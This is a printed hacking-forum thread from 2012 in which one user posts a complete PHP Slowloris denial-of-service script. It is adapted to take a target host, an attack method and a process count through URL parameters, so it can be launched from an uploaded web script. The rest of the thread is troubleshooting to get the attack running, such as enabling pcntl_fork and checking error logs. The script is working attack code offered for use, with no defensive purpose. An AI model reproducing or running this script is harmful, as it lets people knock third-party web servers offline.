Hack Forums
[PHP] Slowloris script - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Web Development (https://hackforums.net/forumdisplay.php?fid=183)
+---- Thread: [PHP] Slowloris script (/showthread.php?tid=2800523)

Pages: Pages 1 2


* - Clubs - Aug 22, 2012

Yea but for some reason it still doesn't send the attack.


* - zupermen - Aug 22, 2012

I've convert command line to GET
This code is GET version is php slowloris.I've modified.

Example upload script host

slow.php?method=post&num=100&host=www.apache.org

method: attack method.
num: number of attack
host: target host
server: optional // get server ip with gethostbyname
PHP Code

<?php
/* PHP Slowloris
* Adapted from the script found here: http://seclists.org/fulldisclosure/2009/Jun/207
* Contains get based attack (slow headers) and post based attack (long content length)
*
* Author: Seppe vanden Broucke
 *
 * https://gist.github.com/771824
 *  
* Convert command line to get zupermen
*/
set_time_limit(0);

function 
usage()
{
    print 
"Usage: ?method=<get or post>&num=<number of processes>&host=<host>&server<server -> optional>\n";
    
print_r($_GET);
    
//    print "Usage: ./{$argv[0]} <get or post> <number of processes> <server> [host]\n";
    
die();
}

function 
attack_get($server, $host)
{
    
$request = "GET / HTTP/1.1\r\n";
    
$request .= "Host: $host\r\n";
    
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
    
$request .= "Keep-Alive: 900\r\n";
    
$request .= "Content-Length: " . rand(10000, 100) . "\r\n";
    
$request .= "Accept: *.*\r\n";
    
$request .= "X-a: " . rand(1, 10000) . "\r\n";

    
$sockfd = @fsockopen($server, 80, $errno, $errstr);
    @
fwrite($sockfd, $request);

    while (
true) {
  if (@
fwrite($sockfd, "X-c:" . rand(1, 100) . "\r\n")) {
    echo 
".";
    
sleep(15);
  } else {
    echo 
"\nOne get attack failed to sent...\n";
    
$sockfd = @fsockopen($server, 80, $errno, $errstr);
    @
fwrite($sockfd, $request);
  }
    }

}

function 
attack_post($server, $host)
{
    
$request = "POST /" . md5(rand()) . " HTTP/1.1\r\n";
    
$request .= "Host: $host\r\n";
    
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
    
$request .= "Keep-Alive: 900\r\n";
    
$request .= "Content-Length: 100\r\n";
    
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$request .= "Accept: *.*\r\n";

    
$sockfd = @fsockopen($server, 80, $errno, $errstr);
    @
fwrite($sockfd, $request);

    while (
true) {
  if (@
fwrite($sockfd, ".") !== FALSE) {
    echo 
".";
    
sleep(1);
  } else {
    echo 
"\nOne post attack failed to sent...\n";
    
$sockfd = @fsockopen($server, 80, $errno, $errstr);
    @
fwrite($sockfd, $request);
  }
    }

}

function 
main()
{
    
$status = 1;

    if (empty(
$_GET['host'])) {
  
usage();
    }

    if (empty(
$_GET['num'])) {
  
usage();
    }
    if (empty(
$_GET['method'])) {
  
usage();
    }

    
$host = trim($_GET['host']);
    
$server = gethostbyname($_GET['host']);
    
$num = (int)trim($_GET['num']);
    
$method = strtolower(trim($_GET['method']));
    
$method = in_array($method, array('get', 'post')) ? $method : False;

    
$server=isset($_GET['server']) ? trim($_GET['server']): $server;

    if (
$method == FALSE) {
  
usage();
    }

    if (!
intval($num)) {
  
usage();
    }

    
$pids = array();

    if(!
function_exists("pcntl_fork")){
  exit(
"pcntl_fork not working");
    }
    for (
$i = 0; $i < $num; $i++) {
  
$pid = pcntl_fork();

  if (
$pid == -1) {
    die(
"Error forking!\n");
  } else if (
$pid == 0) {
//child process
    
if ($method == 'post') {
    
attack_post($server, $host);
    } elseif (
$method == 'get') {
    
attack_get($server, $host);
    } else {
    die(
"Invalid method, use 'get' or 'post'\n");
    }
    exit(
0);
  } else {
    
//parent process
    
$pids[] = $pid;
  }
    }

    foreach (
$pids as $pid) {
  
pcntl_waitpid($pid, $status);
    }
}

main(); 



* - Clubs - Aug 22, 2012

Thanks :)
but after sending the attack I get this:
pcntl_fork not working

What does it mean?


* - zupermen - Aug 22, 2012

http://php.net/manual/en/function.pcntl-fork.php

PCNTL is not installed your server.

install :http://www.php.net/manual/en/pcntl.setup.php


* - Clubs - Aug 22, 2012

Okay I tried different server. no error but still no attack :/


* - zupermen - Aug 22, 2012

Did you check the error logs?
memory limit,max execution time or time limit issue?


set this code to script

ini_set('display_errors', 'On');